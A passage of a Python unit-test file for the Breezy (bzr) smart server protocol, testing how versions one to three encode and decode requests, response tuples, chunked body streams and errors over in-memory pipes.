test_query_version(self):\n        \"\"\"query_version on a SmartClientProtocolOne should return a number.\n\n        The protocol provides the query_version because the domain level clients\n        may all need to be able to probe for capabilities.\n        \"\"\"\n        # What we really want to test here is that SmartClientProtocolOne calls\n        # accept_bytes(tuple_based_encoding_of_hello) and reads and parses the\n        # response of tuple-encoded (ok, 1).  Also, separately we should test\n        # the error if the response is a non-understood version.\n        input = BytesIO(b'ok\\x012\\n')\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = protocol.SmartClientRequestProtocolOne(request)\n        self.assertEqual(2, smart_protocol.query_version())\n\n    def test_client_call_empty_response(self):\n        # protocol.call() can get back an empty tuple as a response. This occurs\n        # when the parsed line is an empty line, and results in a tuple with\n        # one element - an empty string.\n        self.assertServerToClientEncoding(b'\\n', (b'', ), [(), (b'', )])\n\n    def test_client_call_three_element_response(self):\n        # protocol.call() can get back tuples of other lengths. A three element\n        # tuple should be unpacked as three strings.\n        self.assertServerToClientEncoding(b'a\\x01b\\x0134\\n', (b'a', b'b', b'34'),\n                                          [(b'a', b'b', b'34')])\n\n    def test_client_call_with_body_bytes_uploads(self):\n        # protocol.call_with_body_bytes should length-prefix the bytes onto the\n        # wire.\n        expected_bytes = b\"foo\\n7\\nabcdefgdone\\n\"\n        input = BytesIO(b\"\\n\")\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = protocol.SmartClientRequestProtocolOne(request)\n        smart_protocol.call_with_body_bytes((b'foo', ), b\"abcdefg\")\n        self.assertEqual(expected_bytes, output.getvalue())\n\n    def test_client_call_with_body_readv_array(self):\n        # protocol.call_with_upload should encode the readv array and then\n        # length-prefix the bytes onto the wire.\n        expected_bytes = b\"foo\\n7\\n1,2\\n5,6done\\n\"\n        input = BytesIO(b\"\\n\")\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = protocol.SmartClientRequestProtocolOne(request)\n        smart_protocol.call_with_body_readv_array((b'foo', ), [(1, 2), (5, 6)])\n        self.assertEqual(expected_bytes, output.getvalue())\n\n    def _test_client_read_response_tuple_raises_UnknownSmartMethod(self,\n                                                                   server_bytes):\n        input = BytesIO(server_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = protocol.SmartClientRequestProtocolOne(request)\n        smart_protocol.call(b'foo')\n        self.assertRaises(\n            errors.UnknownSmartMethod, smart_protocol.read_response_tuple)\n        # The request has been finished.  There is no body to read, and\n        # attempts to read one will fail.\n        self.assertRaises(\n            errors.ReadingCompleted, smart_protocol.read_body_bytes)\n\n    def test_client_read_response_tuple_raises_UnknownSmartMethod(self):\n        \"\"\"read_response_tuple raises UnknownSmartMethod if the response says\n        the server did not recognise the request.\n        \"\"\"\n        server_bytes = (\n            b\"error\\x01Generic bzr smart protocol error: bad request 'foo'\\n\")\n        self._test_client_read_response_tuple_raises_UnknownSmartMethod(\n            server_bytes)\n\n    def test_client_read_response_tuple_raises_UnknownSmartMethod_0_11(self):\n        \"\"\"read_response_tuple also raises UnknownSmartMethod if the response\n        from a bzr 0.11 says the server did not recognise the request.\n\n        (bzr 0.11 sends a slightly different error message to later versions.)\n        \"\"\"\n        server_bytes = (\n            b\"error\\x01Generic bzr smart protocol error: bad request u'foo'\\n\")\n        self._test_client_read_response_tuple_raises_UnknownSmartMethod(\n            server_bytes)\n\n    def test_client_read_body_bytes_all(self):\n        # read_body_bytes should decode the body bytes from the wire into\n        # a response.\n        expected_bytes = b\"1234567\"\n        server_bytes = b\"ok\\n7\\n1234567done\\n\"\n        input = BytesIO(server_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = protocol.SmartClientRequestProtocolOne(request)\n        smart_protocol.call(b'foo')\n        smart_protocol.read_response_tuple(True)\n        self.assertEqual(expected_bytes, smart_protocol.read_body_bytes())\n\n    def test_client_read_body_bytes_incremental(self):\n        # test reading a few bytes at a time from the body\n        # XXX: possibly we should test dribbling the bytes into the stringio\n        # to make the state machine work harder: however, as we use the\n        # LengthPrefixedBodyDecoder that is already well tested - we can skip\n        # that.\n        expected_bytes = b\"1234567\"\n        server_bytes = b\"ok\\n7\\n1234567done\\n\"\n        input = BytesIO(server_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = protocol.SmartClientRequestProtocolOne(request)\n        smart_protocol.call(b'foo')\n        smart_protocol.read_response_tuple(True)\n        self.assertEqual(expected_bytes[0:2],\n                         smart_protocol.read_body_bytes(2))\n        self.assertEqual(expected_bytes[2:4],\n                         smart_protocol.read_body_bytes(2))\n        self.assertEqual(expected_bytes[4:6],\n                         smart_protocol.read_body_bytes(2))\n        self.assertEqual(expected_bytes[6:7], smart_protocol.read_body_bytes())\n\n    def test_client_cancel_read_body_does_not_eat_body_bytes(self):\n        # cancelling the expected body needs to finish the request, but not\n        # read any more bytes.\n        server_bytes = b\"ok\\n7\\n1234567done\\n\"\n        input = BytesIO(server_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = protocol.SmartClientRequestProtocolOne(request)\n        smart_protocol.call(b'foo')\n        smart_protocol.read_response_tuple(True)\n        smart_protocol.cancel_read_body()\n        self.assertEqual(3, input.tell())\n        self.assertRaises(\n            errors.ReadingCompleted, smart_protocol.read_body_bytes)\n\n    def test_client_read_body_bytes_interrupted_connection(self):\n        server_bytes = b\"ok\\n999\\nincomplete body\"\n        input = BytesIO(server_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = self.client_protocol_class(request)\n        smart_protocol.call(b'foo')\n        smart_protocol.read_response_tuple(True)\n        self.assertRaises(\n            ConnectionResetError, smart_protocol.read_body_bytes)\n\n\nclass TestVersionOneFeaturesInProtocolTwo(\n        TestSmartProtocol, CommonSmartProtocolTestMixin):\n    \"\"\"Tests for version one smart protocol features as implemeted by version\n    two.\n    \"\"\"\n\n    client_protocol_class = protocol.SmartClientRequestProtocolTwo\n    server_protocol_class = protocol.SmartServerRequestProtocolTwo\n\n    def test_construct_version_two_server_protocol(self):\n        smart_protocol = protocol.SmartServerRequestProtocolTwo(None, None)\n        self.assertEqual(b'', smart_protocol.unused_data)\n        self.assertEqual(b'', smart_protocol.in_buffer)\n        self.assertFalse(smart_protocol._has_dispatched)\n        self.assertEqual(1, smart_protocol.next_read_size())\n\n    def test_construct_version_two_client_protocol(self):\n        # we can construct a client protocol from a client medium request\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            None, output, 'base')\n        request = client_medium.get_request()\n        protocol.SmartClientRequestProtocolTwo(request)\n\n    def test_accept_bytes_of_bad_request_to_protocol(self):\n        out_stream = BytesIO()\n        smart_protocol = self.server_protocol_class(None, out_stream.write)\n        smart_protocol.accept_bytes(b'abc')\n        self.assertEqual(b'abc', smart_protocol.in_buffer)\n        smart_protocol.accept_bytes(b'\\n')\n        self.assertEqual(\n            self.response_marker\n            + b\"failed\\nerror\\x01Generic bzr smart protocol error: bad request 'abc'\\n\",\n            out_stream.getvalue())\n        self.assertTrue(smart_protocol._has_dispatched)\n        self.assertEqual(0, smart_protocol.next_read_size())\n\n    def test_accept_body_bytes_to_protocol(self):\n        protocol = self.build_protocol_waiting_for_body()\n        self.assertEqual(6, protocol.next_read_size())\n        protocol.accept_bytes(b'7\\nabc')\n        self.assertEqual(9, protocol.next_read_size())\n        protocol.accept_bytes(b'defgd')\n        protocol.accept_bytes(b'one\\n')\n        self.assertEqual(0, protocol.next_read_size())\n        self.assertTrue(self.end_received)\n\n    def test_accept_request_and_body_all_at_once(self):\n        self.overrideEnv('BRZ_NO_SMART_VFS', None)\n        mem_transport = memory.MemoryTransport()\n        mem_transport.put_bytes('foo', b'abcdefghij')\n        out_stream = BytesIO()\n        smart_protocol = self.server_protocol_class(\n            mem_transport, out_stream.write)\n        smart_protocol.accept_bytes(b'readv\\x01foo\\n3\\n3,3done\\n')\n        self.assertEqual(0, smart_protocol.next_read_size())\n        self.assertEqual(self.response_marker\n                         + b'success\\nreadv\\n3\\ndefdone\\n',\n                         out_stream.getvalue())\n        self.assertEqual(b'', smart_protocol.unused_data)\n        self.assertEqual(b'', smart_protocol.in_buffer)\n\n    def test_accept_excess_bytes_are_preserved(self):\n        out_stream = BytesIO()\n        smart_protocol = self.server_protocol_class(None, out_stream.write)\n        smart_protocol.accept_bytes(b'hello\\nhello\\n')\n        self.assertEqual(self.response_marker + b\"success\\nok\\x012\\n\",\n                         out_stream.getvalue())\n        self.assertEqual(b\"hello\\n\", smart_protocol.unused_data)\n        self.assertEqual(b\"\", smart_protocol.in_buffer)\n\n    def test_accept_excess_bytes_after_body(self):\n        # The excess bytes look like the start of another request.\n        server_protocol = self.build_protocol_waiting_for_body()\n        server_protocol.accept_bytes(\n            b'7\\nabcdefgdone\\n' + self.response_marker)\n        self.assertTrue(self.end_received)\n        self.assertEqual(self.response_marker,\n                         server_protocol.unused_data)\n        self.assertEqual(b\"\", server_protocol.in_buffer)\n        server_protocol.accept_bytes(b'Y')\n        self.assertEqual(self.response_marker + b\"Y\",\n                         server_protocol.unused_data)\n        self.assertEqual(b\"\", server_protocol.in_buffer)\n\n    def test_accept_excess_bytes_after_dispatch(self):\n        out_stream = BytesIO()\n        smart_protocol = self.server_protocol_class(None, out_stream.write)\n        smart_protocol.accept_bytes(b'hello\\n')\n        self.assertEqual(self.response_marker + b\"success\\nok\\x012\\n\",\n                         out_stream.getvalue())\n        smart_protocol.accept_bytes(self.request_marker + b'hel')\n        self.assertEqual(self.request_marker + b\"hel\",\n                         smart_protocol.unused_data)\n        smart_protocol.accept_bytes(b'lo\\n')\n        self.assertEqual(self.request_marker + b\"hello\\n\",\n                         smart_protocol.unused_data)\n        self.assertEqual(b\"\", smart_protocol.in_buffer)\n\n    def test__send_response_sets_finished_reading(self):\n        smart_protocol = self.server_protocol_class(None, lambda x: None)\n        self.assertEqual(1, smart_protocol.next_read_size())\n        smart_protocol._send_response(\n            _mod_request.SuccessfulSmartServerResponse((b'x',)))\n        self.assertEqual(0, smart_protocol.next_read_size())\n\n    def test__send_response_errors_with_base_response(self):\n        \"\"\"Ensure that only the Successful/Failed subclasses are used.\"\"\"\n        smart_protocol = self.server_protocol_class(None, lambda x: None)\n        self.assertRaises(AttributeError, smart_protocol._send_response,\n                          _mod_request.SmartServerResponse((b'x',)))\n\n    def test_query_version(self):\n        \"\"\"query_version on a SmartClientProtocolTwo should return a number.\n\n        The protocol provides the query_version because the domain level clients\n        may all need to be able to probe for capabilities.\n        \"\"\"\n        # What we really want to test here is that SmartClientProtocolTwo calls\n        # accept_bytes(tuple_based_encoding_of_hello) and reads and parses the\n        # response of tuple-encoded (ok, 1).  Also, separately we should test\n        # the error if the response is a non-understood version.\n        input = BytesIO(self.response_marker + b'success\\nok\\x012\\n')\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = self.client_protocol_class(request)\n        self.assertEqual(2, smart_protocol.query_version())\n\n    def test_client_call_empty_response(self):\n        # protocol.call() can get back an empty tuple as a response. This occurs\n        # when the parsed line is an empty line, and results in a tuple with\n        # one element - an empty string.\n        self.assertServerToClientEncoding(\n            self.response_marker + b'success\\n\\n', (b'', ), [(), (b'', )])\n\n    def test_client_call_three_element_response(self):\n        # protocol.call() can get back tuples of other lengths. A three element\n        # tuple should be unpacked as three strings.\n        self.assertServerToClientEncoding(\n            self.response_marker + b'success\\na\\x01b\\x0134\\n',\n            (b'a', b'b', b'34'),\n            [(b'a', b'b', b'34')])\n\n    def test_client_call_with_body_bytes_uploads(self):\n        # protocol.call_with_body_bytes should length-prefix the bytes onto the\n        # wire.\n        expected_bytes = self.request_marker + b\"foo\\n7\\nabcdefgdone\\n\"\n        input = BytesIO(b\"\\n\")\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = self.client_protocol_class(request)\n        smart_protocol.call_with_body_bytes((b'foo', ), b\"abcdefg\")\n        self.assertEqual(expected_bytes, output.getvalue())\n\n    def test_client_call_with_body_readv_array(self):\n        # protocol.call_with_upload should encode the readv array and then\n        # length-prefix the bytes onto the wire.\n        expected_bytes = self.request_marker + b\"foo\\n7\\n1,2\\n5,6done\\n\"\n        input = BytesIO(b\"\\n\")\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = self.client_protocol_class(request)\n        smart_protocol.call_with_body_readv_array((b'foo', ), [(1, 2), (5, 6)])\n        self.assertEqual(expected_bytes, output.getvalue())\n\n    def test_client_read_body_bytes_all(self):\n        # read_body_bytes should decode the body bytes from the wire into\n        # a response.\n        expected_bytes = b\"1234567\"\n        server_bytes = (self.response_marker\n                        + b\"success\\nok\\n7\\n1234567done\\n\")\n        input = BytesIO(server_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = self.client_protocol_class(request)\n        smart_protocol.call(b'foo')\n        smart_protocol.read_response_tuple(True)\n        self.assertEqual(expected_bytes, smart_protocol.read_body_bytes())\n\n    def test_client_read_body_bytes_incremental(self):\n        # test reading a few bytes at a time from the body\n        # XXX: possibly we should test dribbling the bytes into the stringio\n        # to make the state machine work harder: however, as we use the\n        # LengthPrefixedBodyDecoder that is already well tested - we can skip\n        # that.\n        expected_bytes = b\"1234567\"\n        server_bytes = self.response_marker + b\"success\\nok\\n7\\n1234567done\\n\"\n        input = BytesIO(server_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = self.client_protocol_class(request)\n        smart_protocol.call(b'foo')\n        smart_protocol.read_response_tuple(True)\n        self.assertEqual(expected_bytes[0:2],\n                         smart_protocol.read_body_bytes(2))\n        self.assertEqual(expected_bytes[2:4],\n                         smart_protocol.read_body_bytes(2))\n        self.assertEqual(expected_bytes[4:6],\n                         smart_protocol.read_body_bytes(2))\n        self.assertEqual(expected_bytes[6:7], smart_protocol.read_body_bytes())\n\n    def test_client_cancel_read_body_does_not_eat_body_bytes(self):\n        # cancelling the expected body needs to finish the request, but not\n        # read any more bytes.\n        server_bytes = self.response_marker + b\"success\\nok\\n7\\n1234567done\\n\"\n        input = BytesIO(server_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = self.client_protocol_class(request)\n        smart_protocol.call(b'foo')\n        smart_protocol.read_response_tuple(True)\n        smart_protocol.cancel_read_body()\n        self.assertEqual(len(self.response_marker + b'success\\nok\\n'),\n                         input.tell())\n        self.assertRaises(\n            errors.ReadingCompleted, smart_protocol.read_body_bytes)\n\n    def test_client_read_body_bytes_interrupted_connection(self):\n        server_bytes = (self.response_marker\n                        + b\"success\\nok\\n999\\nincomplete body\")\n        input = BytesIO(server_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = self.client_protocol_class(request)\n        smart_protocol.call(b'foo')\n        smart_protocol.read_response_tuple(True)\n        self.assertRaises(\n            ConnectionResetError, smart_protocol.read_body_bytes)\n\n\nclass TestSmartProtocolTwoSpecificsMixin:\n\n    def assertBodyStreamSerialisation(self, expected_serialisation,\n                                      body_stream):\n        \"\"\"Assert that body_stream is serialised as expected_serialisation.\"\"\"\n        out_stream = BytesIO()\n        protocol._send_stream(body_stream, out_stream.write)\n        self.assertEqual(expected_serialisation, out_stream.getvalue())\n\n    def assertBodyStreamRoundTrips(self, body_stream):\n        \"\"\"Assert that body_stream is the same after being serialised and\n        deserialised.\n        \"\"\"\n        out_stream = BytesIO()\n        protocol._send_stream(body_stream, out_stream.write)\n        decoder = protocol.ChunkedBodyDecoder()\n        decoder.accept_bytes(out_stream.getvalue())\n        decoded_stream = list(iter(decoder.read_next_chunk, None))\n        self.assertEqual(body_stream, decoded_stream)\n\n    def test_body_stream_serialisation_empty(self):\n        \"\"\"A body_stream with no bytes can be serialised.\"\"\"\n        self.assertBodyStreamSerialisation(b'chunked\\nEND\\n', [])\n        self.assertBodyStreamRoundTrips([])\n\n    def test_body_stream_serialisation(self):\n        stream = [b'chunk one', b'chunk two', b'chunk three']\n        self.assertBodyStreamSerialisation(\n            b'chunked\\n' + b'9\\nchunk one' + b'9\\nchunk two' + b'b\\nchunk three'\n            + b'END\\n',\n            stream)\n        self.assertBodyStreamRoundTrips(stream)\n\n    def test_body_stream_with_empty_element_serialisation(self):\n        \"\"\"A body stream can include ''.\n\n        The empty string can be transmitted like any other string.\n        \"\"\"\n        stream = [b'', b'chunk']\n        self.assertBodyStreamSerialisation(\n            b'chunked\\n' + b'0\\n' + b'5\\nchunk' + b'END\\n', stream)\n        self.assertBodyStreamRoundTrips(stream)\n\n    def test_body_stream_error_serialistion(self):\n        stream = [b'first chunk',\n                  _mod_request.FailedSmartServerResponse(\n                      (b'FailureName', b'failure arg'))]\n        expected_bytes = (\n            b'chunked\\n' + b'b\\nfirst chunk'\n            + b'ERR\\n' + b'b\\nFailureName' + b'b\\nfailure arg'\n            + b'END\\n')\n        self.assertBodyStreamSerialisation(expected_bytes, stream)\n        self.assertBodyStreamRoundTrips(stream)\n\n    def test__send_response_includes_failure_marker(self):\n        r\"\"\"FailedSmartServerResponse have 'failed\\n' after the version.\"\"\"\n        out_stream = BytesIO()\n        smart_protocol = protocol.SmartServerRequestProtocolTwo(\n            None, out_stream.write)\n        smart_protocol._send_response(\n            _mod_request.FailedSmartServerResponse((b'x',)))\n        self.assertEqual(protocol.RESPONSE_VERSION_TWO + b'failed\\nx\\n',\n                         out_stream.getvalue())\n\n    def test__send_response_includes_success_marker(self):\n        r\"\"\"SuccessfulSmartServerResponse have 'success\\n' after the version.\"\"\"\n        out_stream = BytesIO()\n        smart_protocol = protocol.SmartServerRequestProtocolTwo(\n            None, out_stream.write)\n        smart_protocol._send_response(\n            _mod_request.SuccessfulSmartServerResponse((b'x',)))\n        self.assertEqual(protocol.RESPONSE_VERSION_TWO + b'success\\nx\\n',\n                         out_stream.getvalue())\n\n    def test__send_response_with_body_stream_sets_finished_reading(self):\n        smart_protocol = protocol.SmartServerRequestProtocolTwo(\n            None, lambda x: None)\n        self.assertEqual(1, smart_protocol.next_read_size())\n        smart_protocol._send_response(\n            _mod_request.SuccessfulSmartServerResponse((b'x',), body_stream=[]))\n        self.assertEqual(0, smart_protocol.next_read_size())\n\n    def test_streamed_body_bytes(self):\n        body_header = b'chunked\\n'\n        two_body_chunks = b\"4\\n1234\" + b\"3\\n567\"\n        body_terminator = b\"END\\n\"\n        server_bytes = (protocol.RESPONSE_VERSION_TWO\n                        + b\"success\\nok\\n\" + body_header + two_body_chunks\n                        + body_terminator)\n        input = BytesIO(server_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = protocol.SmartClientRequestProtocolTwo(request)\n        smart_protocol.call(b'foo')\n        smart_protocol.read_response_tuple(True)\n        stream = smart_protocol.read_streamed_body()\n        self.assertEqual([b'1234', b'567'], list(stream))\n\n    def test_read_streamed_body_error(self):\n        \"\"\"When a stream is interrupted by an error...\"\"\"\n        body_header = b'chunked\\n'\n        a_body_chunk = b'4\\naaaa'\n        err_signal = b'ERR\\n'\n        err_chunks = b'a\\nerror arg1' + b'4\\narg2'\n        finish = b'END\\n'\n        body = body_header + a_body_chunk + err_signal + err_chunks + finish\n        server_bytes = (protocol.RESPONSE_VERSION_TWO\n                        + b\"success\\nok\\n\" + body)\n        input = BytesIO(server_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        smart_request = client_medium.get_request()\n        smart_protocol = protocol.SmartClientRequestProtocolTwo(smart_request)\n        smart_protocol.call(b'foo')\n        smart_protocol.read_response_tuple(True)\n        expected_chunks = [\n            b'aaaa',\n            _mod_request.FailedSmartServerResponse((b'error arg1', b'arg2'))]\n        stream = smart_protocol.read_streamed_body()\n        self.assertEqual(expected_chunks, list(stream))\n\n    def test_streamed_body_bytes_interrupted_connection(self):\n        body_header = b'chunked\\n'\n        incomplete_body_chunk = b\"9999\\nincomplete chunk\"\n        server_bytes = (protocol.RESPONSE_VERSION_TWO\n                        + b\"success\\nok\\n\" + body_header + incomplete_body_chunk)\n        input = BytesIO(server_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = protocol.SmartClientRequestProtocolTwo(request)\n        smart_protocol.call(b'foo')\n        smart_protocol.read_response_tuple(True)\n        stream = smart_protocol.read_streamed_body()\n        self.assertRaises(ConnectionResetError, next, stream)\n\n    def test_client_read_response_tuple_sets_response_status(self):\n        server_bytes = protocol.RESPONSE_VERSION_TWO + b\"success\\nok\\n\"\n        input = BytesIO(server_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = protocol.SmartClientRequestProtocolTwo(request)\n        smart_protocol.call(b'foo')\n        smart_protocol.read_response_tuple(False)\n        self.assertEqual(True, smart_protocol.response_status)\n\n    def test_client_read_response_tuple_raises_UnknownSmartMethod(self):\n        \"\"\"read_response_tuple raises UnknownSmartMethod if the response says\n        the server did not recognise the request.\n        \"\"\"\n        server_bytes = (\n            protocol.RESPONSE_VERSION_TWO\n            + b\"failed\\n\"\n            + b\"error\\x01Generic bzr smart protocol error: bad request 'foo'\\n\")\n        input = BytesIO(server_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        smart_protocol = protocol.SmartClientRequestProtocolTwo(request)\n        smart_protocol.call(b'foo')\n        self.assertRaises(\n            errors.UnknownSmartMethod, smart_protocol.read_response_tuple)\n        # The request has been finished.  There is no body to read, and\n        # attempts to read one will fail.\n        self.assertRaises(\n            errors.ReadingCompleted, smart_protocol.read_body_bytes)\n\n\nclass TestSmartProtocolTwoSpecifics(\n        TestSmartProtocol, TestSmartProtocolTwoSpecificsMixin):\n    \"\"\"Tests for aspects of smart protocol version two that are unique to\n    version two.\n\n    Thus tests involving body streams and success/failure markers belong here.\n    \"\"\"\n\n    client_protocol_class = protocol.SmartClientRequestProtocolTwo\n    server_protocol_class = protocol.SmartServerRequestProtocolTwo\n\n\nclass TestVersionOneFeaturesInProtocolThree(\n        TestSmartProtocol, CommonSmartProtocolTestMixin):\n    \"\"\"Tests for version one smart protocol features as implemented by version\n    three.\n    \"\"\"\n\n    request_encoder = protocol.ProtocolThreeRequester\n    response_decoder = protocol.ProtocolThreeDecoder\n    # build_server_protocol_three is a function, so we can't set it as a class\n    # attribute directly, because then Python will assume it is actually a\n    # method.  So we make server_protocol_class be a static method, rather than\n    # simply doing:\n    # \"server_protocol_class = protocol.build_server_protocol_three\".\n    server_protocol_class = staticmethod(protocol.build_server_protocol_three)  # type: ignore\n\n    def setUp(self):\n        super().setUp()\n        self.response_marker = protocol.MESSAGE_VERSION_THREE\n        self.request_marker = protocol.MESSAGE_VERSION_THREE\n\n    def test_construct_version_three_server_protocol(self):\n        smart_protocol = protocol.ProtocolThreeDecoder(None)\n        self.assertEqual(b'', smart_protocol.unused_data)\n        self.assertEqual([], smart_protocol._in_buffer_list)\n        self.assertEqual(0, smart_protocol._in_buffer_len)\n        self.assertFalse(smart_protocol._has_dispatched)\n        # The protocol starts by expecting four bytes, a length prefix for the\n        # headers.\n        self.assertEqual(4, smart_protocol.next_read_size())\n\n\nclass LoggingMessageHandler:\n\n    def __init__(self):\n        self.event_log = []\n\n    def _log(self, *args):\n        self.event_log.append(args)\n\n    def headers_received(self, headers):\n        self._log('headers', headers)\n\n    def protocol_error(self, exception):\n        self._log('protocol_error', exception)\n\n    def byte_part_received(self, byte):\n        self._log('byte', byte)\n\n    def bytes_part_received(self, bytes):\n        self._log('bytes', bytes)\n\n    def structure_part_received(self, structure):\n        self._log('structure', structure)\n\n    def end_received(self):\n        self._log('end')\n\n\nclass TestProtocolThree(TestSmartProtocol):\n    \"\"\"Tests for v3 of the server-side protocol.\"\"\"\n\n    request_encoder = protocol.ProtocolThreeRequester\n    response_decoder = protocol.ProtocolThreeDecoder\n    server_protocol_class = protocol.ProtocolThreeDecoder  # type: ignore\n\n    def test_trivial_request(self):\n        \"\"\"Smoke test for the simplest possible v3 request: empty headers, no\n        message parts.\n        \"\"\"\n        BytesIO()\n        headers = b'\\0\\0\\0\\x02de'  # length-prefixed, bencoded empty dict\n        end = b'e'\n        request_bytes = headers + end\n        smart_protocol = self.server_protocol_class(LoggingMessageHandler())\n        smart_protocol.accept_bytes(request_bytes)\n        self.assertEqual(0, smart_protocol.next_read_size())\n        self.assertEqual(b'', smart_protocol.unused_data)\n\n    def test_repeated_excess(self):\n        \"\"\"Repeated calls to accept_bytes after the message end has been parsed\n        accumlates the bytes in the unused_data attribute.\n        \"\"\"\n        BytesIO()\n        headers = b'\\0\\0\\0\\x02de'  # length-prefixed, bencoded empty dict\n        end = b'e'\n        request_bytes = headers + end\n        smart_protocol = self.server_protocol_class(LoggingMessageHandler())\n        smart_protocol.accept_bytes(request_bytes)\n        self.assertEqual(b'', smart_protocol.unused_data)\n        smart_protocol.accept_bytes(b'aaa')\n        self.assertEqual(b'aaa', smart_protocol.unused_data)\n        smart_protocol.accept_bytes(b'bbb')\n        self.assertEqual(b'aaabbb', smart_protocol.unused_data)\n        self.assertEqual(0, smart_protocol.next_read_size())\n\n    def make_protocol_expecting_message_part(self):\n        headers = b'\\0\\0\\0\\x02de'  # length-prefixed, bencoded empty dict\n        message_handler = LoggingMessageHandler()\n        smart_protocol = self.server_protocol_class(message_handler)\n        smart_protocol.accept_bytes(headers)\n        # Clear the event log\n        del message_handler.event_log[:]\n        return smart_protocol, message_handler.event_log\n\n    def test_decode_one_byte(self):\n        \"\"\"The protocol can decode a 'one byte' message part.\"\"\"\n        smart_protocol, event_log = self.make_protocol_expecting_message_part()\n        smart_protocol.accept_bytes(b'ox')\n        self.assertEqual([('byte', b'x')], event_log)\n\n    def test_decode_bytes(self):\n        \"\"\"The protocol can decode a 'bytes' message part.\"\"\"\n        smart_protocol, event_log = self.make_protocol_expecting_message_part()\n        smart_protocol.accept_bytes(\n            b'b'  # message part kind\n            b'\\0\\0\\0\\x07'  # length prefix\n            b'payload'  # payload\n            )\n        self.assertEqual([('bytes', b'payload')], event_log)\n\n    def test_decode_structure(self):\n        \"\"\"The protocol can decode a 'structure' message part.\"\"\"\n        smart_protocol, event_log = self.make_protocol_expecting_message_part()\n        smart_protocol.accept_bytes(\n            b's'  # message part kind\n            b'\\0\\0\\0\\x07'  # length prefix\n            b'l3:ARGe'  # ['ARG']\n            )\n        self.assertEqual([('structure', (b'ARG',))], event_log)\n\n    def test_decode_multiple_bytes(self):\n        \"\"\"The protocol can decode a multiple 'bytes' message parts.\"\"\"\n        smart_protocol, event_log = self.make_protocol_expecting_message_part()\n        smart_protocol.accept_bytes(\n            b'b'  # message part kind\n            b'\\0\\0\\0\\x05'  # length prefix\n            b'first'  # payload\n            b'b'  # message part kind\n            b'\\0\\0\\0\\x06'\n            b'second'\n            )\n        self.assertEqual(\n            [('bytes', b'first'), ('bytes', b'second')], event_log)\n\n\nclass TestConventionalResponseHandlerBodyStream(tests.TestCase):\n\n    def make_response_handler(self, response_bytes):\n        from ..smart.message import ConventionalResponseHandler\n        response_handler = ConventionalResponseHandler()\n        protocol_decoder = protocol.ProtocolThreeDecoder(response_handler)\n        # put decoder in desired state (waiting for message parts)\n        protocol_decoder.state_accept = protocol_decoder._state_accept_expecting_message_part\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            BytesIO(response_bytes), output, 'base')\n        medium_request = client_medium.get_request()\n        medium_request.finished_writing()\n        response_handler.setProtoAndMediumRequest(\n            protocol_decoder, medium_request)\n        return response_handler\n\n    def test_interrupted_by_error(self):\n        response_handler = self.make_response_handler(interrupted_body_stream)\n        stream = response_handler.read_streamed_body()\n        self.assertEqual(b'aaa', next(stream))\n        self.assertEqual(b'bbb', next(stream))\n        exc = self.assertRaises(errors.ErrorFromSmartServer, next, stream)\n        self.assertEqual((b'error', b'Exception', b'Boom!'), exc.error_tuple)\n\n    def test_interrupted_by_connection_lost(self):\n        interrupted_body_stream = (\n            b'oS'  # successful response\n            b's\\0\\0\\0\\x02le'  # empty args\n            b'b\\0\\0\\xff\\xffincomplete chunk')\n        response_handler = self.make_response_handler(interrupted_body_stream)\n        stream = response_handler.read_streamed_body()\n        self.assertRaises(ConnectionResetError, next, stream)\n\n    def test_read_body_bytes_interrupted_by_connection_lost(self):\n        interrupted_body_stream = (\n            b'oS'  # successful response\n            b's\\0\\0\\0\\x02le'  # empty args\n            b'b\\0\\0\\xff\\xffincomplete chunk')\n        response_handler = self.make_response_handler(interrupted_body_stream)\n        self.assertRaises(\n            